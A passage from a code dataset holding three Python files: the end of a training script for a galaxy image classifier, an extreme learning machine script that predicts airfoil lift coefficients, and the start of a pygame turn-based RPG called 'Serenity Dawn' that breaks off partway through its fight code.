0.13768229, 0.12769352])]) #七分类\n\n\n dataset_train = datasets.ImageFolder(os.path.join(args.data_path,\"train\"), transform=transform_train)\n\n\n transform_val = transforms.Compose([\n transforms.CenterCrop(180),\n transforms.Resize(112),\n\n transforms.ToTensor(),\n transforms.Normalize([0.18334192, 0.17221707, 0.16791163],[0.15241465, 0.13768229, 0.12769352])]) #七分类\n\n\n dataset_val = datasets.ImageFolder(os.path.join(args.data_path,\"val\"), transform=transform_val)\n dataset_test = datasets.ImageFolder(os.path.join(args.data_path,\"test\"), transform=transform_val)\n\n\n num_tasks = utils.get_world_size()\n global_rank = utils.get_rank()\n if args.repeated_aug:\n sampler_train = RASampler(\n dataset_train, num_replicas=num_tasks, rank=global_rank, shuffle=True\n )\n else:\n sampler_train = torch.utils.data.DistributedSampler(\n dataset_train, num_replicas=num_tasks, rank=global_rank, shuffle=True\n )\n if args.dist_eval:\n if len(dataset_val) % num_tasks != 0:\n print('Warning: Enabling distributed evaluation with an eval dataset not divisible by process number. '\n 'This will slightly alter validation results as extra duplicate entries are added to achieve '\n 'equal num of samples per-process.')\n sampler_val = torch.utils.data.DistributedSampler(\n dataset_val, num_replicas=num_tasks, rank=global_rank, shuffle=False)\n else:\n sampler_val = torch.utils.data.SequentialSampler(dataset_val)\n\n sampler_test = torch.utils.data.SequentialSampler(dataset_test)\n data_loader_train = torch.utils.data.DataLoader(\n dataset_train, sampler=sampler_train,\n batch_size=args.batch_size,\n num_workers=args.num_workers,\n pin_memory=args.pin_mem,\n drop_last=True,\n )\n\n data_loader_val = torch.utils.data.DataLoader(\n dataset_val, sampler=sampler_val,\n batch_size=int(1.5 * args.batch_size),\n num_workers=args.num_workers,\n pin_memory=args.pin_mem,\n drop_last=False\n )\n data_loader_test = torch.utils.data.DataLoader(\n dataset_test, sampler=sampler_test,\n batch_size=int(1.5 * args.batch_size),\n num_workers=args.num_workers,\n pin_memory=args.pin_mem,\n drop_last=False\n )\n\n\n print(f\"Creating model: {args.model}\")\n\n model = han_dcn.__dict__[args.model]( \n\n )\n\n\n # print(model)\n\n model.to(device)\n\n\n model_without_ddp = model\n if args.distributed:\n model = torch.nn.parallel.DistributedDataParallel(model, device_ids=[args.gpu])\n model_without_ddp = model.module\n n_parameters = sum(p.numel() for p in model.parameters() if p.requires_grad)\n print('number of params:', n_parameters)\n\n linear_scaled_lr = args.lr * args.batch_size * utils.get_world_size() / 512.0\n args.lr = linear_scaled_lr\n optimizer = create_optimizer(args, model_without_ddp)\n loss_scaler = NativeScaler()\n\n lr_scheduler, _ = create_scheduler(args, optimizer)\n\n\n\n criterion = torch.nn.CrossEntropyLoss()\n\n output_dir = Path(args.output_dir)\n\n if args.eval:\n test_stats = evaluate(data_loader_val, model, device)\n print(f\"Accuracy of the network on the {len(dataset_val)} test images: {test_stats['acc1']:.1f}%\")\n return\n\n print(f\"Start training for {args.epochs} epochs\")\n start_time = time.time()\n max_accuracy = 0.0\n test_acc=[]\n train_acc=[]\n for epoch in range(args.start_epoch, args.epochs):\n if args.distributed:\n data_loader_train.sampler.set_epoch(epoch)\n\n train_stats = train_one_epoch(\n model, criterion, data_loader_train,\n optimizer, device, epoch, loss_scaler,\n args.clip_grad,\n # keep in eval mode during finetuning\n )\n\n lr_scheduler.step(epoch)\n train_test_stats=evaluate(data_loader_train, model, device)\n print(f\"Accuracy of the network on the {len(dataset_train)} test images: {train_test_stats['acc1']:.1f}%\")\n test_stats = evaluate(data_loader_val, model, device)\n test_acc.append(test_stats['acc1'])\n train_acc.append(train_test_stats['acc1'])\n print(f\"Accuracy of the network on the {len(dataset_val)} test images: {test_stats['acc1']:.1f}%\")\n max_accuracy = max(max_accuracy, test_stats[\"acc1\"])\n print(f'Max accuracy: {max_accuracy:.2f}%')\n # test_stats_test = evaluate(data_loader_test, model, device)\n if args.output_dir and ((epoch>70)&(epoch%1))==0:\n checkpoint_paths = [output_dir / 'checkpoint{}.pth'.format(epoch)]\n for checkpoint_path in checkpoint_paths:\n utils.save_on_master({\n 'model': model_without_ddp.state_dict(),\n 'optimizer': optimizer.state_dict(),\n 'lr_scheduler': lr_scheduler.state_dict(),\n 'epoch': epoch,\n \n 'train_acc':train_acc,\n 'test_acc':test_acc,\n 'scaler': loss_scaler.state_dict(),\n 'args': args,\n }, checkpoint_path)\n\n \n log_stats = {**{f'train_{k}': v for k, v in train_stats.items()},\n **{f'test_{k}': v for k, v in test_stats.items()},\n 'epoch': epoch,\n 'n_parameters': n_parameters}\n\n if args.output_dir and utils.is_main_process():\n with (output_dir / \"log.txt\").open(\"a\") as f:\n f.write(json.dumps(log_stats) + \"\\n\")\n\n total_time = time.time() - start_time\n total_time_str = str(datetime.timedelta(seconds=int(total_time)))\n print('Training time {}'.format(total_time_str))\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser('DeiT training and evaluation script', parents=[get_args_parser()])\n args = parser.parse_args()\n if args.output_dir:\n Path(args.output_dir).mkdir(parents=True, exist_ok=True)\n main(args)\n","repo_name":"kustcn/legacy_galaxy","sub_path":"dis_main_train.py","file_name":"dis_main_train.py","file_ext":"py","file_size_in_byte":12961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"25087840408","text":"\"\"\"\nCreated on Wed Jun 16 21:43:41 2021\n\n@author: suraj\n\"\"\"\nimport numpy as np \nimport pandas as pd\nfrom numpy import pi, sin, cos, exp\nimport matplotlib.pyplot as plt\nimport time\nimport os\nfrom sklearn.preprocessing import MinMaxScaler\n\ndef training_data_cl_cd(data,panel_data,aoa,re,lift,drag):\n '''\n Input:\n data ---- this contains the x and y coordinate of airfoil\n panel_data ---- this contains the CL and CD_p determined using the panel method\n aoa ---- angle of attack\n re ---- Reynolds number\n lift ---- lift coefficient from XFoil \n drag ---- drag coefficient from XFoil\n \n Output:\n xtrain ---- input to the neural network for training \n (airfoil shape, CL and CD_p from panel method, aoa, re)\n ytrain ---- label of the training dataset (Xfoil lift coefficient) \n '''\n num_samples = data.shape[0]\n npoints = data.shape[1]\n num_cp = npoints - 1\n nf = data.shape[2]\n xtrain = np.zeros((num_samples,npoints*nf+2+2))\n ytrain = np.zeros((num_samples,1))\n \n for i in range(num_samples):\n xtrain[i,:npoints] = data[i,:,0]\n xtrain[i,npoints:2*npoints] = data[i,:,1]\n xtrain[i,-4] = panel_data[i,0]\n xtrain[i,-3] = panel_data[i,1]\n xtrain[i,-2] = aoa[i]\n xtrain[i,-1] = re[i]\n \n ytrain[i,0] = lift[i]\n# ytrain[i,1] = drag[i]\n \n return xtrain, ytrain\n\ndef activation(x):\n F = 2/(1+exp(-2*x)) - 1\n #F = 1/(1+exp(-x))\n F = np.tanh(x)\n return F\n\n\ndef scale_train(x,a,b):\n xmin = np.min(x,axis = 1).reshape(-1,1)\n xmax = np.max(x,axis = 1).reshape(-1,1)\n xsc = a + (x-xmin)*(b-a)/(xmax-xmin)\n return xmin, xmax, xsc\n \ndef scale_test(x,xmin,xmax,a,b):\n xsc = a + (x-xmin)*(b-a)/(xmax-xmin)\n return xsc\n \n\ndef rescale(xsc,xmin,xmax,a,b):\n x = (xsc - a)*(xmax-xmin)/(b-a) + xmin\n return x\n\n\ndef pgelm_train(X,Xpg,Y,Q,a_sc,b_sc,im):\n Nin, Ntrain = X.shape\n Npg, _ = Xpg.shape\n Nout, _ = Y.shape\n \n #Define ELM matrices\n\n #b = np.random.randn(Q)\n b = np.random.uniform(low=a_sc, high=b_sc, size = Q)\n B = np.transpose([b] * Ntrain)\n \n #C = np.random.randn(Q,Nin)\n C = np.random.uniform(low=a_sc, high=b_sc, size = (Q,Nin))\n \n Z = B + C @ X\n if im == 'pgelm':\n Z = np.vstack([Z,Xpg])\n H = activation(Z)\n H = H.T\n\n W = np.linalg.pinv(H) @ Y.T\n W = W.T\n \n err = np.linalg.norm(W @ H.T-Y)/np.sqrt(Ntrain)\n \n return b, C, W, err\n\n\ndef pgelm_pred(X,Xpg,b,C,W,im):\n \n Nin, Npred = X.shape\n\n B = np.transpose([b] * Npred)\n Z = B + C @ X\n if im == 'pgelm':\n Z = np.vstack([Z,Xpg])\n H = activation(Z) \n H = H.T\n \n Y = W @ H.T\n \n return Y\n\nim = 'elm' # [1] ELM, [2] PG-ELM\n\n# number of cordinates defining the airfoil shape\nnum_xy = 201\nnum_cp = num_xy - 1\n\na_sc = -1\nb_sc = 1\n\nnens = 10\nQ = 30\n\ndata = np.load('../train_data_re.npz')\ndata_xy = data['data_xy']\npanel_data = data['panel_data']\naoa = data['aoa']\nre = data['re']\ncl = data['cl']\ncd = data['cd']\ncm = data['cm']\n\nxtrain, ytrain = training_data_cl_cd(data_xy,panel_data,aoa,re,cl,cd)\n\nsc_input = MinMaxScaler(feature_range=(a_sc,b_sc))\nsc_input = sc_input.fit(xtrain)\nxtrain_sc = sc_input.transform(xtrain)\n\nsc_output = MinMaxScaler(feature_range=(a_sc,b_sc))\nsc_output = sc_output.fit(ytrain)\nytrain_sc = sc_output.transform(ytrain)\n\n\nxtrain, ytrain = xtrain_sc, ytrain_sc\n\n# only shape of the airfoil (x and y cordinates)\nXtrain_sc = np.copy(xtrain[:,:2*num_xy].T)\n\n# aoa, re, and physics-based features from panel method\nXtrain_pg_sc = np.copy(xtrain[:,2*num_xy:].T)\n\nYtrain_sc = ytrain_sc.T\n\n#%%\ndata = np.load('../test_data_re_23024.npz')\nairfoil_names_test = data['airfoil_names_test']\ndata_xy_test = data['data_xy_test']\npanel_data_test = data['panel_data_test']\naoa_test = data['aoa_test']\nre_test = data['re_test']\ncl_test = data['cl_test']\ncd_test = data['cd_test']\ncm_test = data['cm_test']\n\nxtest, ytest = training_data_cl_cd(data_xy_test,panel_data_test,aoa_test,re_test,cl_test,cd_test)\n\n# scale the test data\nxtest_sc = sc_input.transform(xtest[:,:]) \nXtest_sc = np.copy(xtest_sc[:,:2*num_xy].T) # airfol shape features\nXtest_pg_sc = np.copy(xtest_sc[:,2*num_xy:].T) # physics-based features features \n\n\n#%%\n\nfig, ax = plt.subplots(1,1, figsize=(6,5))\n\nfor i in range(nens):\n \n seed_num = (i+1)*10\n print(seed_num)\n \n B, C, W, err = pgelm_train(Xtrain_sc,Xtrain_pg_sc,Ytrain_sc,Q,a_sc,b_sc,im)\n print('RMSE=', err)\n \n Ypred_sc = pgelm_pred(Xtest_sc,Xtest_pg_sc,B,C,W,im)\n ypred = sc_output.inverse_transform(Ypred_sc)\n \n ax.plot(aoa_test, ypred.T, label=f'ML-{i} NACA23024')\n\nax.plot(aoa_test, ytest[:,0], 'ks-', label=f'Xfoil NACA23024') \nax.legend()\nplt.show()\nfig.savefig(f'prediction_airfoil_{im}.png', dpi=200)\n","repo_name":"surajp92/PGML","sub_path":"ELM/pg_elm_airfoil.py","file_name":"pg_elm_airfoil.py","file_ext":"py","file_size_in_byte":4830,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"75"} +{"seq_id":"42602255482","text":"import os\nimport pygame\nimport time\nimport pickle # Load/Save Game\nimport random\n\nimport pygame_textinput\nfrom Ressources import *\nfrom Balance import *\n\npygame.init()\nFPS = 60\nclock = pygame.time.Clock()\n\n# Title\nProject_Title = \"Serenity Dawn\"\npygame.display.set_caption(Project_Title)\n\n# Screen Size\nScreen_Size = display_width, display_height = 1280, 720\ngameDisplay = pygame.display.set_mode((display_width, display_height))\n\nclass Tools():\n def __init__(self):\n self.event = \"\" # Button\n self.events = \"\" # Text\nTools = Tools()\n\n\n\nclass Progress():\n def __init__(self):\n self.story = 0\n self.fight = 0\nProgress = Progress()\n\n\n\n# Miscellaneous\ndef file_len(file):\n with open(file) as f:\n for i, l in enumerate(f):\n pass\n return i + 1\n\ndef load_file(path, image=False):\n \"\"\"\n Load : All texts/images in directory. The directory must only contain texts/images.\n Path : The relative or absolute path to the directory to load texts/images from.\n Image : Load and convert image in the direcoty path.\n Return : List of files.\n \"\"\"\n file = []\n for file_name in os.listdir(path):\n if image == False:\n file.append(path + os.sep + file_name)\n if image == True:\n file.append(pygame.image.load(path + os.sep + file_name).convert())\n return file\n\n \n# Gallery Music\ndef Music_Play(Selection):\n pygame.mixer.music.load(Selection)\n pygame.mixer.music.play(-1)\n\n\n############################################################\n\n\nclass Setup():\n def __init__(self):\n \"\"\"\n Information :\n Background : Path to the background\n Music : Path to the music\n\n State :\n Button : Displays the buttons in the list of buttons\n Sprite : Displays the sprites in the sprite list\n Text : Display the texts of the text list\n \n Fight : Enable combat status and display user interfaces\n Story : Enables reading of the text files of the story and displays the user interfaces\n\n Inventory : Displays the inventory user interface\n Shop : Displays the shop user interface\n Result : Displays the results user interface\n\n State Update : Lists of objects displayed when the respective states are enabled\n \"\"\"\n \n # Information\n self.background = False\n self.music = False\n\n # State\n self.button = False\n self.sprite = False\n self.text = False\n \n self.fight = False\n self.story = False\n\n self.inventory = False\n self.shop = False\n self.result = False\n\n # State Update\n self.list_text = []\n self.list_button = []\n self.list_button_image = []\n self.list_sprite = [] # AnimatedSprite()\n self.all_sprites = [] # Creates a sprite group and adds 'player' to it.\n\n\n\n def update_music(self, music):\n \"\"\"\n Update : Load Music\n \"\"\"\n if self.music != music:\n self.music = music\n pygame.mixer.music.load(music)\n pygame.mixer.music.play(-1)\n\n \n\n def update_init(self, background=False, music=False, button=False, sprite=False, fight=False, text=False, story=False):\n \"\"\"\n Update :\n Setup : Load all states\n Reset : Clean all lists and reset user interface states\n Load : Load Background & Music\n \n \"\"\"\n # Setup\n self.button = button\n self.sprite = sprite\n self.fight = fight\n self.story = story\n self.text = text\n\n # Reset\n self.list_button = []\n self.list_button_image = []\n self.list_sprite = [] # AnimatedSprite()\n self.all_sprites = [] # Creates a sprite group and adds 'player' to it.\n self.list_text = []\n \n self.inventory = False\n self.shop = False\n self.status = None\n self.result = False\n \n # Load\n self.background = background\n\n if music != False: \n self.update_music(music)\n\n \n\n def update(self):\n \"\"\"\n Setup :\n Update game screen and background\n Retrieves game events in global variables\n \n \"\"\"\n pygame.display.update()\n if self.background != False:\n gameDisplay.blit(self.background, (0,0))\n \n Tools.events = pygame.event.get()\n for event in Tools.events:\n Tools.event = event\n\n self.update_state()\n\n def update_state(self):\n \"\"\"\n User Interface :\n Inventory\n Shop\n Result Screen\n \"\"\"\n # Inventory\n if self.inventory == True:\n gameDisplay.blit(Interface_Inventory, (0, 0))\n \n for index in range(3):\n # Icon - Player\n if Fight.slot[0][index] == True:\n gameDisplay.blit(Fight.character[0][index].Icon_Status, (300, 70+150*index))\n\n \n # Shop\n if self.shop == True:\n gameDisplay.blit(Interface_Shop, (0, 0))\n \n for index in range(3):\n # Icon - Player\n if Fight.slot[0][index] == True:\n gameDisplay.blit(Fight.character[0][index].Icon_Status, (300, 70+150*index))\n\n\n # Result\n if self.result == True:\n gameDisplay.blit(Interface_Result, (0, 0))\n \n for index in range(3):\n # Icon - Player\n if Fight.slot[0][index] == True:\n gameDisplay.blit(Fight.character[0][index].Icon_Status, (300, 70+150*index))\n\n # Icon - Enemy\n if Fight.slot[1][index] == True:\n gameDisplay.blit(Fight.character[1][index].Icon, (660, 115+95*index))\n \n \n\n\n \"\"\"\n Interactive interface :\n Button & Sprite:\n Display buttons from the list and check for mouse position.\n Call function action() if clicking on it\n \"\"\"\n # Button\n if self.button == True:\n # Display Button\n for index in range(len(self.list_button)):\n self.list_button[index].display(index)\n for index in range(len(self.list_button_image)):\n self.list_button_image[index].display(index)\n\n # Check Mouse Position & Action\n for event in Tools.events:\n for index in range(len(self.list_button)):\n self.list_button[index].update(index)\n for index in range(len(self.list_button_image)):\n self.list_button_image[index].update(index)\n\n\n # Sprite\n if self.sprite == True:\n # Update & Display Sprite\n for index in range(len(self.list_sprite)):\n self.list_sprite[index].dt = clock.tick(FPS)\n self.all_sprites[index].update()\n self.all_sprites[index].draw(gameDisplay)\n\n # Check Mouse Position & Action\n for event in Tools.events:\n for index in range(len(self.list_sprite)):\n if callable(self.list_sprite[index].action) == True:\n self.list_sprite[index].button()\n\n \n\n \"\"\"\n Game State Interface :\n Fight\n Story\n Text\n \"\"\"\n # Fight\n if self.fight == True:\n self.button = True\n self.text = True\n Fight.update()\n\n \n # Story\n if self.story == True:\n StoryIG.update()\n\n\n # Text\n if self.text == True:\n for index in range(len(self.list_text)):\n self.list_text[index].display()\n\n \n def inventory_init(self):\n \"\"\"\n Inventory == False :\n Activate inventory status and pause sprite updates\n Launch the status interface with the main character\n Displays buttons to navigate between character statuses\n\n Inventory == True :\n Reset user interfaces\n \"\"\"\n if self.inventory == False:\n self.inventory = True\n self.sprite = False\n self.update_status(0)\n \n for index in range(3):\n if Fight.slot[0][index] == True:\n Button(Fight.character[0][index].name, \"Text_Interface\", 340, 180+150*index, 146, 38, 5, True, True, Color_Red, Color_Green, index, self.update_status)\n \n elif self.inventory == True:\n Menu_Zone()\n\n \n def shop_init(self):\n \"\"\"\n Shop == False :\n Activate inventory status and pause sprite updates\n Launch the status interface with the main character\n Displays buttons to navigate between character statuses\n\n Shop == True :\n Reset user interfaces\n \"\"\"\n if self.shop == False:\n self.shop = True\n self.sprite = False\n \n for index in range(3):\n if Fight.slot[0][index] == True:\n Button(Fight.character[0][index].name, \"Text_Interface\", 340, 180+150*index, 146, 38, 5, True, True, Color_Red, Color_Green, index, self.update_status)\n \n elif self.shop == True:\n Menu_Zone()\n\n\n def update_status(self, status=None):\n if self.status!=status and status!=None:\n self.status = status\n self.list_text = []\n \n Text(\"Status\", 540, 85, True, \"Text_Interface\")\n Text(\"Equipment\", 760, 85, True, \"Text_Interface\")\n Text(\"Inventory\", 960, 85, True, \"Text_Interface\")\n \n Text((\"Class : %s\" % Fight.character[0][status].Class), 450, 120, False, \"Text_Interface\")\n Text((\"Level : %i\" % Fight.character[0][status].level), 450, 150, False, \"Text_Interface\")\n Text((\"EXP : %i/100\" % Fight.character[0][status].Experience), 450, 180, False, \"Text_Interface\")\n \n Text((\"Health : %i\" % Fight.character[0][status].maxhealth), 450, 220, False, \"Text_Interface\")\n Text((\"Strength : %i\" % Fight.character[0][status].Strength), 450, 250, False, \"Text_Interface\")\n Text((\"Magic : %i\" % Fight.character[0][status].Magic), 450, 280, False, \"Text_Interface\")\n Text((\"Speed : %i\" % Fight.character[0][status].speed), 450, 310, False, \"Text_Interface\")\n Text((\"Defense : %i\" % Fight.character[0][status].Defense), 450, 340, False, \"Text_Interface\")\n Text((\"Resistance : %i\" % Fight.character[0][status].Resistance), 450, 370, False, \"Text_Interface\")\n\n Text((\"Accuracy : %i\" % Fight.character[0][status].Resistance), 450, 410, False, \"Text_Interface\")\n Text((\"Evasion : %i\" % Fight.character[0][status].Resistance), 450, 440, False, \"Text_Interface\")\n Text((\"Critical : %i\" % Fight.character[0][status].Resistance), 450, 470, False, \"Text_Interface\")\n \nSetup = Setup()\n\n\n\nclass AnimatedSprite(pygame.sprite.Sprite):\n def __init__(self, x, y, center, path, dt, animation, action):\n \"\"\"\n Setup :\n Enable sprite\n Add button to list_sprite\n Animated sprite object\n \n Image :\n Path : Path to the images folder\n Load : Load all images in the directory\n Images : Images to use in the animation\n Index : Index of the image used\n Image : Current displayed image\n \n Position :\n x, y, center\n \n Update :\n dt : Time elapsed between each frame\n Time : Time before sprite update\n Frame : Frame before sprite update\n \n Action :\n Action : Button action\n \"\"\"\n # Setup\n Setup.sprite = True\n Setup.list_sprite.append(self)\n \n super(AnimatedSprite, self).__init__()\n Setup.all_sprites.append(pygame.sprite.Group(self))\n\n # Image\n self.path = path\n self.images = load_file(self.path, image=True)\n self.images_right = self.images\n self.image_left = [pygame.transform.flip(image, True, False) for image in self.images]\n \n self.index = 0\n self.image = self.images[self.index]\n \n # Position\n self.x = x\n self.y = y\n self.center = center\n\n if self.center == False:\n self.rect = self.image.get_rect(topleft=(self.x, self.y))\n\n if self.center == True:\n self.rect = self.image.get_rect(center=(self.x, self.y))\n\n # Update\n self.dt = dt\n \n self.animation_time = animation # self.animation_time = 0.1\n self.current_time = 0\n \n self.animation_frames = animation # self.animation_frames = 6\n self.current_frame = 0\n\n # Action\n self.action = action\n\n\n def button(self):\n \"\"\"\n Calls the function Selection when clicking on the image\n \"\"\"\n mouse = pygame.mouse.get_pos()\n if self.rect.collidepoint(mouse):\n if Tools.event.type == pygame.MOUSEBUTTONDOWN:\n if self.action != None:\n self.action()\n\n\n def update_time_dependent(self):\n \"\"\"\n Updates the image of Sprite approximately every 0.1 second.\n\n Args:\n dt: Time elapsed between each frame.\n \"\"\"\n self.current_time += self.dt\n if self.current_time >= self.animation_time:\n self.current_time = 0\n self.index = (self.index + 1) % len(self.images)\n self.image = self.images[self.index]\n\n\n def update_frame_dependent(self):\n \"\"\"\n Updates the image of Sprite every 6 frame (approximately every 0.1 second if frame rate is 60).\n \"\"\"\n self.current_frame += 1\n if self.current_frame >= self.animation_frames:\n self.current_frame = 0\n self.index = (self.index + 1) % len(self.images)\n self.image = self.images[self.index]\n\n\n def update(self):\n \"\"\"\n This is the method that's being called when 'all_sprites.update(dt)' is called.\n Switch between the two update methods by commenting/uncommenting.\n \"\"\"\n # self.update_time_dependent()\n self.update_frame_dependent()\n\n\n\nclass Text():\n def __init__(self, text, x, y, center, font):\n \"\"\"\n Setup : Add text to the text_list\n Text : Text string, font, color\n Position : Position x, y, surface, center\n \"\"\"\n # Setup\n Setup.list_text.append(self)\n\n # Text\n self.text = text\n self.font, self.color = eval(\"self.\" + font)()\n\n # Position\n self.x = x\n self.y = y\n self.center = center\n self.textSurface = self.font.render(self.text, True, self.color)\n\n if center == False:\n self.textRect = (self.x, self.y)\n \n if center == True:\n self.textRect = self.textSurface.get_rect()\n self.textRect.center = (self.x, self.y)\n \n def Text_Title_Screen(self):\n font = pygame.font.SysFont(None, 100)\n color = Color_Title_Screen\n return font, color\n\n def Text_Button(self):\n font = pygame.font.SysFont(None, 40)\n color = Color_Blue\n return font, color\n\n def Text_Interface(self):\n font = pygame.font.SysFont(None, 35)\n color = Color_Black\n return font, color\n\n def display(self):\n gameDisplay.blit(self.textSurface, self.textRect)\n\n\n\nclass Button():\n def __init__(self, text, font, x, y, w, h, b, border, center, active, inactive, selection, action=None):\n \"\"\"\n Setup :\n Enable buttons\n Add button to list_button\n \n Position :\n x, y, width, height, border width, border, center\n \n Text :\n Add the centered text of the button to the text list\n \n Color :\n Active/Inactive color of the button\n Color changes depending of the mouse position\n \n Action :\n Selection : Button index\n Action : Button action\n \"\"\"\n # Setup\n Setup.button = True\n Setup.list_button.append(self)\n\n # Position\n self.x = x\n self.y = y\n self.w = w\n self.h = h\n self.b = b\n self.border = border\n self.center = center\n \n if self.center == True:\n self.x = x-w/2\n self.y = y-h/2\n self.rect = pygame.Rect(self.x,self.y,self.w,self.h)\n\n # Text\n self.text = text\n self.font = font\n\n # Color\n self.active = active\n self.inactive = inactive\n self.color = inactive\n\n # Action\n self.selection = selection\n self.action = action\n\n \n def update(self, index):\n mouse = pygame.mouse.get_pos()\n \n if self.rect.collidepoint(mouse):\n self.color = self.active\n if Tools.event.type == pygame.MOUSEBUTTONDOWN:\n if self.action != None and self.selection != None:\n self.action(self.selection)\n elif self.action != None:\n self.action()\n \n else:\n self.color = self.inactive\n \n\n def display(self, index):\n # Button\n if self.border == True:\n pygame.draw.rect(gameDisplay, Color_Black, self.rect, self.b)\n pygame.draw.rect(gameDisplay, self.color, self.rect)\n\n # Text\n if self.text != None:\n font, color = eval(\"Text.\" + self.font)(self)\n textSurf = font.render(self.text, True, color)\n textRect = textSurf.get_rect()\n textRect.center = self.x+self.w/2, self.y+self.h/2\n gameDisplay.blit(textSurf, textRect)\n \n\n\nclass Button_Image():\n def __init__(self, x, y, center, active, inactive, selection, action=None):\n \"\"\"\n Setup :\n Enable buttons\n Add button to list_button_image\n \n Image :\n Active/Inactive image of the button\n Image changes depending of the mouse position\n \n Position :\n x, y, center\n \n Action :\n Selection : Button index\n Action : Button action\n \"\"\"\n # Tools\n Setup.list_button_image.append(self)\n\n # Image\n self.active = active.convert()\n self.inactive = inactive.convert()\n self.image = inactive.convert()\n\n # Position\n self.x = x\n self.y = y\n self.center = center\n \n if self.center == False:\n self.rect = self.active.get_rect(topleft=(x,y))\n\n if self.center == True:\n self.rect = self.active.get_rect(center=(x,y))\n\n # Action\n self.selection = selection\n self.action = action\n \n \n def update(self, index):\n mouse = pygame.mouse.get_pos()\n \n if self.rect.collidepoint(mouse):\n self.image = self.active\n if Tools.event.type == pygame.MOUSEBUTTONDOWN:\n if self.action != None and self.selection != None:\n self.action(self.selection)\n elif self.action != None:\n self.action()\n \n else:\n self.image = self.inactive\n\n def display(self, index):\n gameDisplay.blit(self.image, self.rect)\n\n\n\n\n\n\n\nclass Fight():\n def __init__(self):\n # State\n self.training_mode = False\n self.state_button = False\n self.state_attack = False\n self.state_guard = [[False, False, False], [False, False, False]]\n self.turn_index = None\n self.turn_side = None\n \n # Character / Slot / Death Status\n self.character = [[PlayerIG, IrisIG, GyreiIG], [None, None, None]]\n self.slot = [[True, True, True], [False, False, False]]\n self.death = [[False, False, False], [False, False, False]]\n\n # Information\n self.time = 0\n self.stage = 1\n\n # Interface Position\n self.character_x = [[250, 40, 265], [905, 1105, 890]]\n self.character_y = [[175, 225, 375], [150, 270, 325]]\n\n self.icon = [10, 730]\n self.name = [135, 855]\n self.health = [305, 1025]\n self.action_text = [475, 1195]\n self.action_bar = [400, 1120]\n \n self.ui_image = [570, 620, 670]\n self.ui_text = [590, 640, 690]\n \n self.time_x = 1205\n self.stage_x = 75\n self.time_y = 25\n self.stage_y = 25\n\n\n\n def update_enemy(self, enemy=[], random_enemy=False):\n \"\"\"\n Story Enemy :\n enemy : Enemies of the story read in a text file\n \"\"\"\n if random_enemy == False:\n for index in range(len(enemy)):\n self.character[1][index] = enemy[index]\n self.slot[1][index] = True\n self.death[1][index] = False\n \n \"\"\"\n Training Mode :\n enemy_count : Random number of enemy\n average_level : Calculate average level of the player team\n enemy_random : Random type of enemy\n enemy_name : Name of the enemy\n \"\"\"\n if random_enemy == True:\n # Average level of the player\n average_level = []\n for index in range(3):\n if self.slot[0][index] == True:\n average_level.append(self.character[0][index].level)\n average_level = sum(average_level)/len(average_level)\n\n # Generating random enemy\n enemy_count = random.randint(1, 3)\n for index in range(enemy_count):\n enemy_random = list_enemy[random.randint(0, len(list_enemy)-1)]\n enemy_name = \"Monster %s\" % (index+1)\n\n self.character[1][index] = enemy_random(enemy_name, average_level)\n self.slot[1][index] = True\n self.death[1][index] = False\n\n \n def update(self):\n \"\"\"\n Update : User Interface\n Setup : Refresh information each loop\n User Interface : Display combat status and information\n \"\"\"\n # Setup\n Setup.list_text = []\n\n # Information\n Text(\"Time: %s\" % self.time, self.time_x, self.time_y, True, \"Text_Interface\")\n Text(\"Stage: %s\" % self.stage, self.stage_x, self.stage_y, True, \"Text_Interface\")\n\n for side in range(2):\n for index in range(3):\n if self.slot[side][index] == True:\n character = self.character[side][index]\n\n # Sprite & Icon\n if self.death[side][index] == False:\n gameDisplay.blit(character.Sprite, (self.character_x[side][index], self.character_y[side][index]))\n gameDisplay.blit(character.Icon, (self.icon[side], self.ui_image[index]))\n\n # Character Status\n Text(\"%s\" % character.name, self.name[side], self.ui_text[index], True, \"Text_Interface\")\n Text(\"HP: %i/%i\" % (character.health, character.maxhealth), self.health[side], self.ui_text[index], True, \"Text_Interface\")\n Text(\"AP: %i/100\" % character.Action_Point, self.action_text[side]+1, self.ui_text[index]+1, True, \"Text_Interface\")\n\n # Action Point\n pygame.draw.rect(gameDisplay, Color_Green, (self.action_bar[side]+1, self.ui_image[index]+1, 1.48 * character.Action_Point, 38))\n\n \n \"\"\"\n Update : Action Point\n Generate action points until it reaches 100\n Give a turn to the character who reaches the threshold\n Resets the button list at the end of a turn\n Reset Guard State\n \"\"\"\n if self.turn_index == None:\n Setup.list_button = []\n\n for side in range(2):\n for index in range(3):\n # Generate Action Point\n if self.slot[side][index] == True and self.death[side][index] == False:\n self.character[side][index].Action_Point += self.character[side][index].speed/10\n\n # Turn Phase\n if self.character[side][index].Action_Point >= 100:\n self.character[side][index].Action_Point = 100\n self.turn_index = index\n self.turn_side = side\n self.state_button = True\n\n if self.state_guard[side][index] == True:\n self.state_guard[side][index] = False\n \n\n\n \"\"\"\n Update : Turn Phase\n Player Phase :\n Sprite_rect : Highlight the active character\n Button : Displays available actions\n\n Enemy Phase :\n target : List of alive playable characters\n random_target : Randomly selects a character to attack\n \"\"\"\n if self.turn_index != None:\n # Player Phase\n if self.turn_side == 0:\n sprite_rect = self.character[0][self.turn_index].Sprite.get_rect(topleft=(self.character_x[0][self.turn_index], self.character_y[0][self.turn_index]))\n pygame.draw.rect(gameDisplay, Color_Red, sprite_rect, 5)\n\n if self.state_button == True:\n self.state_button = False\n Button(\"Attack\", \"Text_Button\", 640, 590, 140, 40, 6, True, True, Color_Button, Color_Red, None, self.attack_choice)\n Button(\"Guard\", \"Text_Button\", 640, 640, 140, 40, 6, True, True, Color_Button, Color_Red, None, self.guard)\n Button(\"Potion : %i\" % self.character[0][0].potion, \"Text_Button\", 640, 690, 140, 40, 6, True, True, Color_Button, Color_Red, None, self.potion)\n\n # Enemy Phase\n elif self.turn_side == 1:\n target = []\n for index in range(3):\n if self.slot[0][index] == True and self.death[0][index] == False:\n target.append(index)\n\n self.attack((random.choice(target), 0))\n\n \n\n def guard(self):\n self.state_guard[self.turn_side][self.turn_index] = True\n print(\"State Guard : %s\" % self.state_guard)\n self.end_turn()\n\n \n\n def potion(self):\n if self.character[0][0].potion > 0:\n character = self.character[self.turn_side][self.turn_index]\n # Recovery\n debug_health = character.health\n character.health += character.maxhealth // 2\n\n # Max Health\n if character.health > character.maxhealth:\n character.health = character.maxhealth\n \n print(\"You 